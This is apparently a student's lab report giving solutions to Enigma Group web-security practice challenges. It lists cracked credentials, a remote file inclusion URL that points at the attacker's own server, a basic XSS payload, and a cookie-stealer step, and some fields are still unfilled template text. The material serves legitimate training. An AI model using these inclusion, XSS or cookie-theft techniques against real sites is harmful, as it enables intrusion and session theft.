Enigma Group Lab 3 Report

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# Basic 27

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| Solution |
| administrator:3e0f84 |
| Steps |
| Enter wrong password Reveal information.  Use information to find password |
| Explanation |
| Error message revealed too much information |

# Basic 30

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| Solution |
| Admin: dXWxIS6i6irN6 = dog |
| Steps |
| Traverse files on server using the information given in the error. Once found the password is encrypted so use john the ripper to decrypt it |
| Explanation |
| Local file inclusion. Error message displayed to user |

# Basic 31

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| Solution |
| Navigate to 911\_411.php |
| Steps |
| Identify redirection Stop redirection  Once stopped, navigate to the page in the redirection |
| Explanation |
| Briefly describe the exploit used to solve the challenge |

# Basic 32

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| Solution |
| http://challenges.enigmagroup.org/basics/vm/3/index.php?page=http://MyIP:5555/rfi.txt |
| Steps |
| Launch Python server using port 555 Then point the page to it inorder to scroe |
| Explanation |
| Remote file inclusion |

# Basic 40

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| Solution |
| <script>alert(“XSS”);</script> |
| Steps |
| Basically input the script up top and it workd |
| Explanation |
| It’s a Cross site scripting attack so just input the script and it breaks |

# Basic 41

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| Solution |
| If applicable, enter the final string used to solve the challenge |
| Steps |
| Create Server and change user agent to run cookie stealer script on website |
| Explanation |
| Briefly describe the exploit used to solve the challenge |